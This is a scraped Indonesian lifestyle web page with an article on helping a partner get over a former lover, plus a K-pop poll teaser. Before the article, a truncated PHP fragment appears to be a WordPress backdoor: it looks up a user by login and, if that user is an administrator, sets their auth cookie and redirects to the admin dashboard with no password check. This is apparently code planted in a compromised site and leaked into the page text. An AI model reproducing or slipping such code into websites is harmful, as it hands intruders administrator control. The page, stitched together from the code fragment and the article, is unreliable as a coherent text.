user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
Menyelesaikan Unfinished Business

5 Oct 2013



Menurut Psikolog Penny Handayani, M.Psi, berakhirnya suatu hubungan belum menjamin seseorang bisa melupakan mantan pasangannya dengan cepat. Ada banyak faktor yang mempengaruhi seseorang tidak dapat dengan cepat melupakan pasangannya. Salah satunya pola pengasuhan di masa kecil, seseorang dengan pola asuh yang over protected ketika berada dalam hubungan yang sudah memberikannya rasa nyaman, maka ia akan berusaha bertahan. 

Selain itu, seseorang yang memiliki harapan berlebihan pada suatu hubungan akan sulit melepaskan ketertarikan emosionalnya terhadap hubungan yang telah kandas tersebut. Hal ini terjadi karena ia hanya melihat hal-hal yang bagus saja dari hubungannya yang telah lalu. 

Waktu memang obat yang paling manjur untuk luka hati. Tapi, meski tak ada hitungan waktu yang pasti, waktu 3 bulan dirasa cukup untuk membuat seseorang bangkit dari masa lalunya. Jika melebihinya, mungkin Anda perlu berhati-hati menjalankan hubungan yang kurang ‘sehat’ ini. Apalagi jika pasangan Anda masih saja menyimpan barang-barang dari mantannya atau mencari informasi tentang mantannya. Yang terburuk, ia bisa saja salah menyebut nama Anda dan senang membandingkan Anda dengan mantannya. 

Advertisement
Menghapus kenangan lama itu tak semudah membalikan telapak tangan. Tapi jangan juga membuat Anda terjebat di dalamnya. Ketika pasangan ternyata tak mampu melupakan mantannya, di sinilah peran penting Anda untuk membantunya menyelesaikan kisah lalunya itu. Jadilah pendengar yang baik akan cerita masa lalu pasangan Anda. Tapi, jangan berusaha menghakimi atau membandingkan diri Anda dengan dirinya. 

Menyakitkan memang mendengar ungkapan perasaan pasangan terhadap mantannya, namun dengan bercerita ini ia akan mengeluarkan emosi yang terpendam. Ketika emosi ini sudah benar-benar dikeluarkan, ia akan merasa nyaman dan tuntas dengan unfinished business-nya itu. Anda membantunya dengan mengganti sebentar peran Anda dari kekasih menjadi teman. 

Kuncinya adalah ciptakan komunikasi yang baik antara Anda dan pasangan. Tidak ada salahnya Anda menyampaikan keberatan Anda akan sikapnya tersebut. Mintalah ia untuk mulai menentukan sikapnya. Tapi, pilihlah kata-kata yang tidak menggurui ketika Anda menyampaikan hal tersebut. (FAUNDA LISWIJAYANTI)


Baca juga ini:



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?